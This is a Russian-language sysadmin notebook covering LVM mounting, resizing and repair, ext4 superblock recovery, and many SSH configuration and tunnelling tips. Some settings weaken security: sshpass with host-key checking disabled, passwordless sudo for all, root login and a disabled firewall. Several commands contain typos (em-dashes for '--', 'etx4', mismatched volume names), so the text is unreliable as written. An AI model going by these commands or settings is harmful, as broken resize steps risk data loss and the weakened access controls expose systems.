Монтирование LVM-based томов (LVM-in-LVM)
Задача:
добраться до данных в этих разделах с родительской машины.

Дано:
виртуальная машина на LVM-разделе /dev/mapper/vol-centos1
внутри неё имеются разделы /boot, / и swap, причем / и swap на LVM

для начала посмотрим что из себя представляет /dev/mapper/vol-centos1:
# kpartx -l /dev/mapper/vol-centos1
vol-centos1p1: 0 1024000 /dev/loop0 2048
vol-centos1p2: 0 15751168 /dev/loop0 1026048
и замяпим разделы:
# kpartx -a /dev/mapper/vol-centos1
после этого в /dev/mapper у нас появятся два раздела
vol-centos1p1 vol-centos1p2

Первый раздел vol-centos1p1 (/boot) нас не интересует, мы можем его хоть сейчас примонтировать. Нас интересует второй раздел vol-centos1p2, в котором находятся / и swap.
просканируем и увидем LVM-тома:
# lvm pvscan
PV /dev/mapper/vol-centos1p2 VG VolGroup lvm2 [7.51 GiB / 0 free]
Total: 1 [7.51 GiB] / in use: 1 [7.51 GiB] / in no VG: 0 [0 ]

теперь нам необходимо активировать LVM-тома, что бы добраться до них, делаем:
# lvm vgchange -a y
2 logical volume(s) in volume group «VolGroup» now active

в /dev/mapper появятся еще два раздела
vol-centos1p1 vol-centos1p2 VolGroup-lv_root VolGroup-lv_swap

вот теперь мы спокойно можем примонтировать раздел VolGroup-lv_root и удобно работать с ним:
# mount /dev/mapper/VolGroup-lv_root /mnt

После работы, надо все вернуть на круги своя.
отмонтируем # umount /dev/mapper/VolGroup-lv_root
деактивируем LVM-тома # lvm vgchange -a n VolGroup
удаляем маппинг # kpartx -d /dev/mapper/vol-centos1

Монтирование LVM томов (CentOS)
root@debian:~# fdisk -l /dev/sda
Disk /dev/sda: 6 GiB, 6442450944 bytes, 12582912 sectors
Disk model: QEMU HARDDISK
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x000c434c

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 2099199 2097152 1G 83 Linux
/dev/sda2 2099200 12582911 10483712 5G 8e Linux LVM

диск обычный
root@debian:~# parted /dev/sda1 print
Model: Unknown (unknown)
Disk /dev/sda1: 1074MB
Sector size (logical/physical): 512B/512B
Partition Table: loop
Disk Flags:

Number Start End Size File system Flags
1 0,00B 1074MB 1074MB xfs

диск с LVM
root@debian:~# parted /dev/sda2 print
Error: /dev/sda2: unrecognised disk label
Model: Unknown (unknown)
Disk /dev/sda2: 5368MB
Sector size (logical/physical): 512B/512B
Partition Table: unknown
Disk Flags:

Если вы попытаетесь смонтировать LVM так же, как вы это делаете с другими стандартными разделами Linux, у вас ничего не получится.

root@debian:~# mount /dev/sda2 /mnt
mount: /mnt: unknown filesystem type 'LVM2_member'.

Чтобы смонтировать раздел, сначала определите группу томов, содержащуюся в /dev/sda2:

root@debian:~# lvm pvscan
PV /dev/sda2 VG centos lvm2 [<5,00 GiB / 0 free]
Total: 1 [<5,00 GiB] / in use: 1 [<5,00 GiB] / in no VG: 0 [0 ]

root@debian:~# vgscan
Reading volume groups from cache.
Found volume group "centos" using metadata type lvm2

root@debian:~# lvscan
inactive '/dev/centos/swap' [616,00 MiB] inherit
inactive '/dev/centos/root' [4,39 GiB] inherit

root@debian:~# pvs
PV VG Fmt Attr PSize PFree
/dev/sda2 centos lvm2 a-- <5,00g 0

root@debian:~# lvdisplay /dev/centos
--- Logical volume ---
LV Path /dev/centos/swap
LV Name swap
VG Name centos
LV UUID wjDWlO-4ipJ-8w3g-xx7v-AvaS-lk8s-duwIiG
LV Write Access read/write
LV Creation host, time localhost, 2018-08-12 11:47:26 +0000
LV Status available
# open 0
LV Size 616,00 MiB
Current LE 154
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:0

--- Logical volume ---
LV Path /dev/centos/root
LV Name root
VG Name centos
LV UUID c2DUKp-zXmb-ecIO-R26b-m477-3NXc-6dPwz8
LV Write Access read/write
LV Creation host, time localhost, 2018-08-12 11:47:26 +0000
LV Status available
# open 0
LV Size 4,39 GiB
Current LE 1125
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:1


необходимо активировать LVM-тома, что бы добраться до них
root@debian:~# lvm vgchange -a y
2 logical volume(s) in volume group "centos" now active

проверяю
root@debian:~# ls /dev/mapper/
centos-root centos-swap control

swap мне не нужен, монтирую /dev/centos/root
root@debian:~# mount /dev/centos/root /mnt

после работы нужно не забыть отмонтировать
root@debian:~# umount /dev/centos/root

деактивируем LVM-тома
root@debian:~# lvm vgchange -a n centos
0 logical volume(s) in volume group "centos" now active
root@debian:~# ls /dev/mapper/
control


Изменение размера дисков LVM
http://xgu.ru/wiki/LVM
https://github.com/storaged-project/blivet-gui/wiki
Уменьшение виртуального диска с LVM
Как использовать LVM для управления устройствами хранения в Ubuntu 18.04
Как я могу изменить размер раздела LVM? (то есть: физический объем)
Как уменьшить корневой раздел XFS на LVM
Linux: LVM — уменьшить home, увеличить root
Расширение диска на Linux (LVM, классическая разметка)
Повесть о Linux и LVM (Logical Volume Manager).
КАК УВЕЛИЧИТЬ LVM РАЗДЕЛ В CENTOS 7
Как увеличить LVM раздел в CentOS 7
Расширение LVM диска (без изменения его структуры)
Изменение размера дисков LVM


Уменьшение размера раздела диска в Linux
Статья содержит информацию о способе уменьшения размера раздела диска, созданного посредством системы управления томами LVM и отформатированного в файловую систему ext4
Замечание: строго говоря, во всем запускаемых далее утилитах используется одна и та же единица измерения — «мебибайт» (за исключением «parted», использующей «мегабайт»), которую, тем не менее, мы по привычке будем называть «мегабайт»

  • скачиваем загрузочный диск Gparted, выполняем с него загрузку системы и запускаем утилиту «Terminal»

  • определяем имя интересующего нас логического раздела LVM (параметр «LV Path»)

  • sudo lvdisplay

  • подключаем раздел

  • sudo mount /dev/some-vg/root /mnt

  • просматриваем объем занятого пространства файловой системы раздела

  • sudo df -h

  • отключаем раздел

  • sudo umount /dev/some-vg/root

  • проверяем файловую систему

  • sudo e2fsck -vf /dev/some-vg/root

    Замечание: v — вывод подробных сообщений, f — выполнить проверку, даже если файловая система помечена, как не содержащая ошибок

  • уменьшаем размер файловой системы
    sudo resize2fs -p /dev/some-vg/root 3000M

    Замечание: p — отображать прогресс выполнения каждого этапа

  • уменьшаем размер раздела; в качестве нового размера указываем РАЗМЕР_ФАЙЛОВОЙ_СИСТЕМЫ + 1

  • lvreduce /dev/some-vg/root —size 3001M

  • проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер файловой системы до максимально возможного, в результате чего он должен вырасти на 1 МБ

  • sudo resize2fs /dev/some-vg/root

  • определяем имя интересующего нас физического раздела LVM (параметр «PV Name»)

  • sudo pvdisplay

  • выводим информацию о распределении выделенных физических областей по разделу

  • sudo pvs —verbose —segments /dev/sda5

  • перемещаем выделенные физические области так, чтобы между ними не было свободного пространства

  • sudo pvmove —alloc anywhere /dev/sda5:2370-2497

  • уменьшаем размер раздела; в качестве нового размера указываем ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ (параметр «Allocated PE») * РАЗМЕР_ОБЛАСТИ (параметр «PE Size») + 1

  • sudo pvresize /dev/sda5 —setphysicalvolumesize 3517M

    Замечание: если указать слишком маленькое значение, ничего страшного не произойдет — утилита просто сообщит, что новый размер меньше объема занятого пространства

  • запускаем parted для интересующего нас диска

  • sudo parted /dev/sda

  • устанавливаем в качестве единиц измерения по умолчанию — мебибайты

  • unit MiB

  • просматриваем таблицу разделов

  • print free

  • уменьшаем размер логического раздела, при этом конец раздела вычисляем так: НАЧАЛО_РАСШИРЕННОГО_РАЗДЕЛА + ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ * РАЗМЕР_ОБЛАСТИ + ОБЪЕМ_НЕИСПОЛЬЗУЕМОГО_ПРОСТРАНСТВА (параметр «PV Size» после знака «/») + 2

  • resizepart 5 3764MiB

    Замечание: перед выполнением операции нужно повторно просмотреть объем неиспользуемого пространства физического раздела LVM

  • проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер физического раздела LVM до максимально возможного, в результате чего объем неиспользуемого пространства должен вырасти на 1МБ

  • sudo pvresize /dev/sda5

  • уменьшаем размер расширенного раздела до размера логического раздела

  • resizepart 2 3764MiB


Уменьшение размера LVM раздела в Centos

Решение

Перед изменением размера раздела его необходимо отмонтировать, но
учитывая что редактировать нам надо корневой раздел, лучше загрузится с
LiveCD/LiveDVD или с установочного диска в режиме rescue (для этого выбрать соответствующий пункт меню загрузки с диска).

При работе с rescue-диска, к командам LVM надо впереди добавять lvm, либо выполнять их из встроенного интерпретатора lvm:


# lvm pvs
либо
# lvm
lvm> pvs

Проверяем, определился или нет, системой наша LVM группа.


# pvs
  PV         VG         Fmt  Attr PSize   PFree  
  /dev/sda1  VolGroup   lvm2 a-   100,00g      0

# vgs
  VG         #PV #LV #SN Attr   VSize   VFree  
  VolGroup   1   2   0   wz--n- 100,00g      0

# lvs
  LV         VG         Attr   LSize   Origin Snap%  Move Log Copy%  Convert
  lv_root    VolGroup   -wi-a-  98,00g
  lv_swap    VolGroup   -wi-a-   2,00g

lvreduce урезает размер LVM раздела. Работает она
следующим образом, параметр -L указывает на изменение размера раздела,
здесь же есть 2 варианта: указание размера и относительное значение, со
знаком + или -. Например, -L 83G урежет размер до 83G(то бишь lvm_root станет 83Gb вместо 98Gb), соответственно -L -15G или -L +15G уменьшит или увеличит размер на указанный (lvm_root станет 98G минус 15G или 98G плюс 15G).

Итак, нам надо уменьшить размер раздела следующей командой:


# lvreduce -r -L -15G /dev/Volgroup/lv_root



Наличие опции -r указывает, что надо также изменить размер файловой системы, без неё данные будут утеряны.


Успешность выполнения команды lvreduce проверяется просмотром свободного места в VolGroup.


# vgs

Свободного места должно быть 83G.




Создаём новый раздел для директории home


 lvcreate -L 83GB -n lv_home VolGroup 

и файловую систему на нём.


 mkfs.ext4 -L home /dev/VolGroup/lvm_home

Добавляем запись о разделе в файл /etc/fstab


 /dev/VolGroup/lvm_home  /home   etx4 defaults 1 2 



Перенести всю информацию из директории /home относительно
раздела / (корневого раздела) в /home вновь созданого раздела (он будет
пустой, если не считать системной директории lost+found)



Для этого:


  • создаём папки к которым будут смотрированы разделы

mkdir /mnt/{root,home}

  • монтируем

mount -t ext4 /dev/VolGroup/lv_root /mnt/root
mount -t ext4 /dev/VolGroup/lv_home /mnt/home

  • перемещаем информацию

mv -v /mnt/root/home /mnt/home

загружаем нашу ОС и проверяем логические разделы LVM


lvdisplay
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_root
  VG Name                VolGroup
       .....
  LV Size                15,00 GiB
       .....
   
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_home
  VG Name                VolGroup
       .....
  LV Size                83,00 GiB
       .....
   
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_swap
  VG Name                VolGroup
       .....
  LV Size                2,00 GiB









отремонтировать диск LVM
Как отремонтировать диск LVM с помощью fsck

1. Проверка и исправление диска LVM без шифрования с помощью fdisk
Для проверки LVM используйте следующие шаги.
Для начала проверяем разметку дисков с lsblk:

lsblk

Пример вывода:
NAME                 MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sda                    8:0    0    20G  0 disk  
└─sda1                 8:1    0    20G  0 part  
  └─xubuntu--vg-root 253:0    0    19G  0 lvm   / 
sr0                   11:0    1  1024M  0 rom

Как можно увидеть, LVM назван xubuntu--vg-root, но мы не можем запустить fsck на это имя, так как команда не найдёт его. Нам нужно получить полное имя, для этого нужно запустить команду lvm lvscan для получения LV имени с которым мы можем запустить fsck на LVM.

Следующая команда должна запускаться с повышенными правами (с sudo или как root):

lvscan

Пример вывода:
inactive          '/dev/xubuntu-vg/root' [<19.04 GiB] inherit
inactive          '/dev/xubuntu-vg/swap_1' [980.00 MiB] inherit

Как можно увидеть, имя диска который нужно проверить на ошибки это /dev/xubuntu-vg/root, оно должно подойти для запуска fsck на этом имя.
Если /dev/xubuntu-vg/root не ACTIVE, нужно сделать его активным чтобы мы могли запустить его проверку.

lvchange -ay /dev/xubuntu-vg/root

Теперь это должно выглядеть примерно так:

sudo lvscan
  ACTIVE            '/dev/xubuntu-vg/root' [<19.04 GiB] inherit
  inactive          '/dev/xubuntu-vg/swap_1' [980.00 MiB] inherit

Теперь можно запустить fsck для проверку тома LVM:

fsck /dev/xubuntu-vg/root

или запустить форсированную проверку с автоматическим исправлением ошибок:

fsck -fy /dev/xubuntu-vg/root

2. Исправление LVM с шифрованием
Поиск корневого раздела:
sudo fdisk -l

Расшифровываем раздел.
sudo cryptsetup open --type luks /dev/nvme0n1p3 nvme0n1p3_crypt

Внимание: замените /dev/nvme0n1p3 на ваш собственный диск
замените "nvme0n1p3_crypt" на корректное имя раздела для вашей установки, вы можете его узнать запустив следующее в chroot:
cat /etc/crypttab | cut -f1 -d " "

Пример вывода:
nvme0n1p3_crypt

Монтирование корневого раздела
sudo vgscan
sudo vgchange -ay
sudo mount /dev/mapper/xubuntu--vg-root /mnt

Подготовка окружения chroot:
sudo mount /dev/nvme0n1p2 /mnt/boot/ # замените nvme0n1p2 на ваш загрузочный раздел!
sudo mount -o rbind /dev/ /mnt/dev/
sudo mount -t proc proc /mnt/proc/
sudo mount -t sysfs sys /mnt/sys/

Делаем так, чтобы в chroot работал DNS:
sudo cp /etc/resolv.conf /mnt/etc/resolv.conf

Входим в chroot:
sudo chroot /mnt /bin/bash

Переустанавливаем отсутствующие пакеты:
apt install cryptsetup lvm2

Заново генерируем (это может быть выполнено командой apt на предыдущем шаге — если это уже было сделано, то пропустите):
update-initramfs -u -k all

Покидаем среду chroot:
exit

Записываем буфер на диск:
sudo sync

Размонтируем файловые системы:
sudo umount /mnt/sys
sudo umount /mnt/proc
sudo umount /mnt/boot






Недавно при включении компьютера, Ubuntu меня "порадовала" тем, что решила не загружаться и "свалилась" в busybox в момент инициализации пользовательского пространства (userspace) оно же initramfs. Немного ошарашенный начал разбираться. Оказалось, что мой старенький жёсткий диск дал небольшой сбой, и подпортил суперблок файловой системы. Впрочем, оказалось что это не смертельно, и проблема эта, довольно просто и быстро решается.

Суперблок - это часть на диске, отведенная под служебную информацию файловой системы. В нем хранится информация о разделе: тип файловой системы, размер, статус и информацию о других структурах метаданных. В случае потери информации с суперблока, велик риск потерять всю информацию с раздела. Поэтому Linux хранит несколько копий этой информации - т.е. несколько суперблоков.

Перед тем, как продолжить, я должен предупредить, что не обязательна причина в суперблоке. Такая проблема может возникать и по другим причинам, установить которые можно только имея определенный опыт, либо опытным путем. В любом случае, вся суть проводимых ниже действия, лишь в проверке диска на ошибки, поэтому как минимум ничем не повредит.

Для восстановления нам понадобится загрузочный диск или флэшка с Linux. Загружаемся, и запускаем терминал. В терминале пишем:

sudo fdisk -l|grep Linux|grep -Ev 'swap'

В результате выполнения команды, будет выведен список всех разделов:

/dev/sda2       371306496 976771071 605464576 288.7G 83 Linux

В моем случае это был один раздел. В этом списке нужно найти нужный раздел, и запомнить его. Он понадобится нам дальше. Далее посмотрим список доступных запасных суперблоков:

sudo dumpe2fs /dev/sda2 | grep superblock

В команде выше, /dev/sda2 необходимо заменить на полученный ранее, нужный раздел. В результате выполнения команды, будет выведен список всех суперблоков:

Primary superblock at 0, Group descriptors at 1-19
Backup superblock at 32768, Group descriptors at 32769-32787
Backup superblock at 98304, Group descriptors at 98305-98323
Backup superblock at 163840, Group descriptors at 163841-163859
Backup superblock at 229376, Group descriptors at 229377-229395
Backup superblock at 294912, Group descriptors at 294913-294931
Backup superblock at 819200, Group descriptors at 819201-819219
Backup superblock at 884736, Group descriptors at 884737-884755
Backup superblock at 1605632, Group descriptors at 1605633-1605651
Backup superblock at 2654208, Group descriptors at 2654209-2654227
Backup superblock at 4096000, Group descriptors at 4096001-4096019
Backup superblock at 7962624, Group descriptors at 7962625-7962643
Backup superblock at 11239424, Group descriptors at 11239425-11239443
Backup superblock at 20480000, Group descriptors at 20480001-20480019
Backup superblock at 23887872, Group descriptors at 23887873-23887891
Backup superblock at 71663616, Group descriptors at 71663617-71663635

Из списка запасных суперблоков, выбираем любой кроме Primary и запускаем проверку диска с указанием запасного суперблока:

sudo fsck -b 32768 /dev/sda2 -y

Параметр -y необходим для того, чтобы fsck не спрашивал что делать с каждой найденной ошибкой, а вместо этого ее автоматически исправлял если это возможно. После того, как fsck закончит, результат выполнения будет примерно таким:

fsck 1.40.2 (23-March-2016)
e2fsck 1.40.2 (23-March-2016)
/dev/sda2 was not cleanly unmounted, check forced.
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
Free blocks count wrong for group #241 (32254, counted=32253).
Fix? yes
Free blocks count wrong for group #362 (32254, counted=32248).
Fix? yes
Free blocks count wrong for group #368 (32254, counted=27774).
Fix? yes
..........
/dev/sda2: ***** FILE SYSTEM WAS MODIFIED *****
/dev/sda2: 59586/605464576 files (0.6% non-contiguous), 3604682/605464576 blocks

После этого перезагружаемся, отключаем флэшку/вынимаем диск из привода, и всё должно работать. :)



https://the-bosha.ru/2016/03/25/vosstanavlivaem-svalivshiysya-v-busybox-iz-za-oshibki-initramfs-linux/
https://askubuntu.com/questions/137655/boot-drops-to-a-initramfs-prompts-busybox)
https://serverfault.com/questions/375090/using-fsck-to-check-and-repair-luks-encrypted-disk



установка XRDP, VNC и SSH на Ubuntu и Debian 1

ssh
http://redhat-club.org/2011/установка-и-настройка-openssh-сервера-в-rhel-centos-fedora
Наглядное руководство по SSH-туннелям
Памятка пользователям ssh
Магия SSH
Полное руководство по SSH в Linux и Windows
Настройка SSH в BlackArch
Как перехватить пароль SSH. Атака человек-посередине на SSH

$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

отредактировать удалённый файл через ssh с использованием vim, вы можете сделать так.
sudo apt install vim
vim scp://ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ_ХОСТ//home/user/path/file

сравнение (diff) локального файла и удалённого файла:
diff local_file.txt <(ssh user@remote_host 'cat remote_file.txt')
сравнение (diff) двух удалённых файлов:
diff <(ssh user@remote_host 'cat remote_file.txt') <(ssh user2@remote_host2 'cat remote_file2.txt')

монтирование
sudo apt install sshfs fuse
Для монтирования нужно запустить команду вида:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ
если SSH работает на порту 2222, то команда будет такой:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ -p 2222

https://ru.stackoverflow.com/questions/547626/Как-ввести-пароль-в-bash-через-скрипт
Как через скрипт ввести пароль?
$ sshpass -p 'пароль' ssh пользователь@сервер
aдреса постоянно меняются
$ sshpass -p 'пароль' ssh -q -o 'UserKnownHostsFile /dev/null' -o 'StrictHostKeyChecking no' пользователь@сервер
https://ru.wikipedia.org/wiki/Expect

управление ключами и доступ по ключу
Аутентификация на сервере Ubuntu с использованием ключей SSH
SSH авторизация по ключу
Вход ssh по ключу ( Linux/Unix )
SSH с высоты птичьего полёта, или разгребаем кучи ключей
Как конвертировать ключи SSH из формата PuTTY в формат OpenSSH
Создание и настройка ключей OpenSSH

Свой ключ можно сгенерировать с помощью команды ssh-keygen
Сменить пароль на ключ можно с помощью команды ssh-keygen -p

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.
~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать

Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts

Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1

Клиентские открытые ключи нужно сохранить на ssh-сервере в файле ~/.ssh/authorized_keys (~ это домашняя директория того пользователя, которым будете логиниться), каждый на отдельной строке
Команда ssh-copy-id user@server позволяет скопировать ключ
Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки)

Права на файл ~/.ssh/authorized_keys
В случае ручного создания файла ~/.ssh/authorized_keys на ssh-сервере необходимо задать следующие права:
chmod 0700 ~/.ssh
chmod 0600 ~/.ssh/authorized_keys



Настройка входа через SSH без пароля
На локальной машине (с которой заходим):
ssh-keygen -t rsa

Без предварительного подключения, выполняем команду на удалённой машине (IP и имя пользователя поменяйте на свои):
ssh mial@192.168.1.35 mkdir .ssh

Теперь нам нужно скопировать содержимое файла id_rsa.pub на удалённую машину. Сделать это очень просто (не забываем менять данные на свои):





советы по безопасности
Доступ только с определённых IP
Если планируется подключаться к серверу только с определённых IP-адресов, то можно внести строки в файл /etc/hosts.deny
sshd: ALL

В файл /etc/hosts.allow
Sshd: 188.120.252.0/24

Таким образом будет запрещён доступ по SSH для всех подсетей, кроме указанной.
После этого нужно перезапустить службу командой service sshd restart.

Смените порт SSH
Для этого в файле /etc/ssh/sshd_config необходимо раскомментировать и изменить Port 22 на свободный, это может быть любое число до 65536. и перезапустить службу service sshd restart

Используйте только ключи SSH
Пара ключей создаётся командой ssh-keygen. Секретный ключ (файл без расширения) копируется на ПК, а публичный (имяключа.pub) — в файл .ssh/authorized_keys на сервере.

Чтобы отключить авторизацию по паролю, в том же конфиге SSH нужно изменить директиву PasswordAuthentication yes на PasswordAuthentication no и перезапустить службу — останется авторизация только по ключу SSH.

Оция PermitRootLogin — может ли root входить в систему посредством SSH:
PermitRootLogin no
А эта директива определяет, какие пользователи могут логиниться в SSH:
AllowUsers alice bob

включить SSH доступ для пользователя root
vi /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart
systemctl restart sshd

разорвать TCP подключение используя утилиту tcpkill
sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ
sudo tcpkill -i ИНТЕРФЕЙС -9 host IP_ИЛИ_ДОМЕН

редактировать конфиги по sftp, sudo доступ
thunar редактировать конфиги по sftp, sudo доступ
thunar sftp://пользователь@сервер

sudo apt install gvfs-fuse gvfs-backends
thunar -q

вставить в свой файл /etc/ssh/sshd_config на стороне сервера:
Subsystem sftp sudo -n true && sudo -n /usr/lib/openssh/sftp-server || /usr/lib/openssh/sftp-server
закомментить
#Subsystem sftp /usr/lib/openssh/sftp-server

systemctl restart sshd

в /etc/sudoers просто поместите новые записи после них.
sudo visudo
Новая запись должна выглядеть
myuser ALL=(ALL) NOPASSWD: ALL для одного пользователя, или
%sudo ALL=(ALL) NOPASSWD: ALL для группы.

Удалённый экран через SSH
Для того, чтобы разрешить форвардинг X11, удалённый сервер должен быть соответствующим образом сконфигурирован. Соответствующие настройки делаются в файле /etc/ssh/sshd_config:
...
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE
AcceptEnv LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE
AcceptEnv LC_MEASUREMENT LC_IDENTIFICATION LC_ALL LANGUAGE
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
...
Настройки туннелирования X11 могут быть также включены/запрещены для каждого пользователя отдельно:
...
Match User bilbobaggins
X11Forwarding no
...
Внося изменения в конфигурационный файл сервера OpenSSH, не забывайте перезапускать его для того, чтобы изменения ступили в силу:
sudo service sshd restart

На стороне клиента, в файле /etc/ssh/ssh_config необходимо включить опцию Forward11Trusted. В Fedora эта опция включена по умолчанию, в то время как в некоторых других дистрибутивах вам придётся сделать это самостоятельно:
...
ForwardX11Trusted yes
...
Имейте ввиду, что расположение файлов конфигурации OpenSSH в различных дистрибутивах могут быть разными.


Xpra выполнение графических приложений без привязки к текущему X-сеансу
http://www.xpra.org/
http://winswitch.org/
Учимся переносить запущенные программы с одного компьютера на другой
Выпуск Xpra 0.10, аналога утилиты screen для графических программ

Возможно использование xpra и из командной строки. На удалённом хосте, на котором необходимо запустить приложение (в примере запускается xterm), выполняем:
xpra start :100 --start-child=xterm

после чего подсоединяемся с другой машины к созданному сеансу
xpra attach ssh:имя_сервера:100

Запуск графических приложений через SSH (X11Forwarding)

sudo apt-get install xauth

Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

если не работает проверить права на удаленном хосте
ls -l ~/.Xauthority
если не помогло, добавить на сервере в sshd_config
XAuthLocation /usr/bin/xauth


Долгое Подключение по SSH — Убираем Задержку
Настройка быстрого подключения по SSH в Linux
Ssh долго подключается или тупит Ubuntu

Для того чтобы проверить, надо запустить ssh коннект с флагом -v
ssh -o GSSAPIAuthentication=no user@exampleserver.com -v

1. UseDNS
В основном, подключение по SSH происходит медленно из-за неудачных попыток разрешения имен в системе DNS.

Чтобы уменьшить время ожидания при входе, открываем на редактирование следующий файл:
vi /etc/ssh/sshd_config

Находим строку:
#UseDNS yes

И приводим ее к следующему виду:
UseDNS no

* в конкретном примере мы сняли комментарий и заменили yes на no, чем отключили разрешение DNS-имен при каждой попытке подключения. Если на нашем Linux сервере не настроены DNS (или настроены неправильно), это решит проблему медленного SSH.
** если такой строчки нет, необходимо ее дописать.

Чтобы изменнения вступили в силу, перезагружаем сервис:
systemctl restart sshd || systemctl restart ssh
* или service sshd restart || service ssh restart

2. GSSAPIAuthentication
GSSAPI предоставляет API для различных вариантов аутентификации в системе. Однако, в большинстве случаем, используется стандартный метод PAM. Если отключить GSSAPI, это может значительно ускорить вход по SSH.

Открываем sshd_config:
vi /etc/ssh/sshd_config

И приводим две строки к следующему виду:
GSSAPIAuthentication no
GSSAPICleanupCredentials yes

* в данном примере мы отключили аутентификацию с использованием GSS-API (общий программный интерфейс сервисов безопасности). Он может быть использован, например, для связки с Kerberos. Однако, чаще всего используется метод PAM и надобность в GSSAPIAuthentication отсутствует.

Перезапускаем:
systemctl restart sshd || systemctl restart ssh

3. motd
В Linux Ubuntu при входе файл приветствия /etc/motd выполняет различные задачи, например, проверку обновлений, которая может замедлить вход. В этом случае торможение будет на этапе после ввода пароля.

Для отключения модуля приветствия, открываем на редактирование два файла:
vi /etc/pam.d/login
vi /etc/pam.d/sshd

И комментируем все строки, в которых присутствует pam_motd.so.
Перезапускаем sshd:
systemctl restart sshd || systemctl restart ssh

ssh подключение к GParted Live CD/USB/PXE/HD, Clonezilla live и
SystemRescueCd

nano /etc/hosts.deny
закомментировать строку ALL: ALL EXCEPT localhost
#ALL: ALL EXCEPT localhost

затем рестартануть sshd
/etc/init.d/ssh restart

пользователь по умолчанию user пароль live

в SystemRescueCd sshd уже запущен и нет блокировок, нужно только изменить пароль root и отключить фрайвол
systemctl stop iptables.service ip6tables.service
или при загрузке нажать tab и вбить опцию загрузки nofirewall


ошибки при подключении
если при подключении по ssh ошибка no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
то подключаться
ssh -c aes256-cbc user@address
если no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
то подключаться
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address
если ошибка no matching cipher found. Their offer: 3des-cbc
то
ssh -c 3des-cbc -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address


https://codeplanet.io/connection-reset-by-peer/
ssh_exchange_identification: read: Connection reset by peer

ssh username@address.com -vv
sudo service ssh stop
sudo /usr/sbin/sshd -d

debug1: Connection refused by tcp wrapper

vi /etc/hosts.allow
добавить
sshd: ALL

sudo service ssh stарт


SSH-туннели — пробрасываем порт
создание постоянного SSH-тоннеля

ssh -N -R 80:localhost:80 root@104.131.xxx.xxx

Установка time-out для SSH в Linux
vim ~/.bashrc
TMOUT=3600

Как повторно подключиться к отключенному сеансу SSH
https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447

autossh
Как Ваш компьютер может дать доступ к себе через туннель средствами ssh, autossh, autosshd
Поддержание SSH-туннеля в активном состоянии при помощи AutoSSH

Обратный туннель SSH с AutoSSH
Как настроить постоянно работающий SSH-туннель
apt install autossh
autossh -M 5122 -N -R 5022:localhost:22 rex - связывание порта 5022 на удалённом хосте rex и порта 22 на локальной машине
Для autossh обязательна опция -M, которая задает порт для мониторинга соединения
Чтобы запустить autossh в фоновом режиме, добавляем опцию -f
Чтобы завершить процесс, используем команду pkill:
$ pkill autossh

Создание SSH-туннеля. Часть третья
